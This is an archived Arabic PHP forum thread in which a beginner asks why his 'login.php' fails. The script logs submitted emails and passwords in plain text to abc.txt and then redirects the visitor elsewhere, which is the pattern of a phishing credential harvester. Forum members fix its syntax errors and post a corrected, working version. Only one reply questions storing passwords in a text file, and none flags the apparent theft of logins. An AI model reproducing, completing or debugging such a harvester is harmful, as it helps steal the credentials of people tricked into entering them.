الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

يوجد مشكلة في ملف login.php

بدأه Nbras002 في 21 يونيو 2011 · 8 رد · 947 مشاهدة · في منتدى تطوير المواقع بـ PHP
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم

يوجد خطأ في ملف login.php



<?php

$email = $_POST['email'];
$pass = $_POST['pass'];

$data = "\n\n**********************\nE-Mail: $email\n\nPassword: $pass\n\n**********************";

$file = "abc.txt"

$fh = fopen($file, 'a');
fwrite($fh, $data);
fclose($fh);

header('location:http://www.!!!!.com');

?>

أين يوجد الخطأ ؟!

#2
<?php
if(isset($_POST['email']) &&isset($_POST['pass'])  )
{
$email = $_POST['email'];
$pass = $_POST['pass'];

$data = "\n\n**********************\nE-Mail: $email\n\nPassword: $pass\n\n**********************";

$file = "abc.txt";

$fh = fopen($file, 'a');
fwrite($fh, $data);
fclose($fh);

header('location:http://www.!!!!.com');
}
?>

أنت لم تتحق من النموذج المرسل يحتوي على مدخلات أم لا.

تم تعديل هذه المشاركة بواسطة SIFE في 22 يونيو 2011 في 00:47

''‏اللهم إني أسالك إيمانا دائما وأسألك قلبا خاشعا وأسألك علما ‏نافعا وأسألك يقينا صادقا وأسألك دينا قيما وأسألك العافية من كل ‏بلية''

'‏اللهم أغفر للمؤمنين و المؤمنات و المسلمين و المسلمات الأحياء ‏منهم و الأموات'

www.it-scoop.com

#3

أيش المفروض أسويه ؟

أعذرني أنا مبتدئ في لغة PHP

تم تعديل هذه المشاركة بواسطة Nbras002 في 22 يونيو 2011 في 00:26

#4

لقد قمت بتسويته، جربه الآن و أعطنا النتيجة و إن كانت هناك أية رسالة خطأ ضعها هنا.

''‏اللهم إني أسالك إيمانا دائما وأسألك قلبا خاشعا وأسألك علما ‏نافعا وأسألك يقينا صادقا وأسألك دينا قيما وأسألك العافية من كل ‏بلية''

'‏اللهم أغفر للمؤمنين و المؤمنات و المسلمين و المسلمات الأحياء ‏منهم و الأموات'

www.it-scoop.com

#5

تفضل

post-246802-040104700 1308692311_thumb.p

المرفقات
678576.png
#6
if(isset($_POST['email']) &&isset($_POST['pass])  )

هناك single quote ناقصة هنا (في كود SIFE) بعد كلمة pass.

و semicolon في نهاية هذا السطر:

$file = "abc.txt"

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#7

السيرفر ليس محل بل على أستضافة أنترنت

على العموم مشكورين :)

#8

هل تملك صلاحية إنشاء ملفات في المسار الذي يوجد به ملف الـ PHP ؟

جرب أن تقوم بإظهار البيانات على الشاشة بدلاً من حفظها في ملف وقارن النتيجة.

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#9

إخواني الأمر، و الله تعالى أعلم، بسيط جدًا..

أخي الكريم، Nbras002، هل وضعت علامات التعجب "!!!" في الكود بديلاً عن اسم الموقع، أم أنك أخذتها من أحد المواقع مكتوبة هكذا و تركتها كما هي فيها علامات التعجب؟

رجاءً، اكتب اسم موقعك في الكود بدلاً من

اقتباس

يعني يكون الكود النهائي، بتعديلات الأخ SIFE و ملاحظات الأخ Xacker، يصبح:

<?php
if(isset($_POST['email']) &&isset($_POST['pass'])  )
{
$email = $_POST['email'];
$pass = $_POST['pass'];

$data = "\n\n**********************\nE-Mail: $email\n\nPassword: $pass\n\n**********************";

$file = "abc.txt";

$fh = fopen($file, 'a');
fwrite($fh, $data);
fclose($fh);

header('location:'); // غير الرابط هنا، لرابط موقعك
}
?>

أخبرنا بالنتيجة الآن..

هناك نقطة أخرى، حفظ كلمة السر في ملف .txt ليست طريقة جيدة أبدًا، هناك قواعد البيانات، إلا أن يكون امتداد .txt ممنوع الدخول له بشكل أو بآخر على الموقع عن طريق ملف .htaccess ..

تم تعديل هذه المشاركة بواسطة sitesmaker في 23 يونيو 2011 في 12:54

مواضيع مشابهة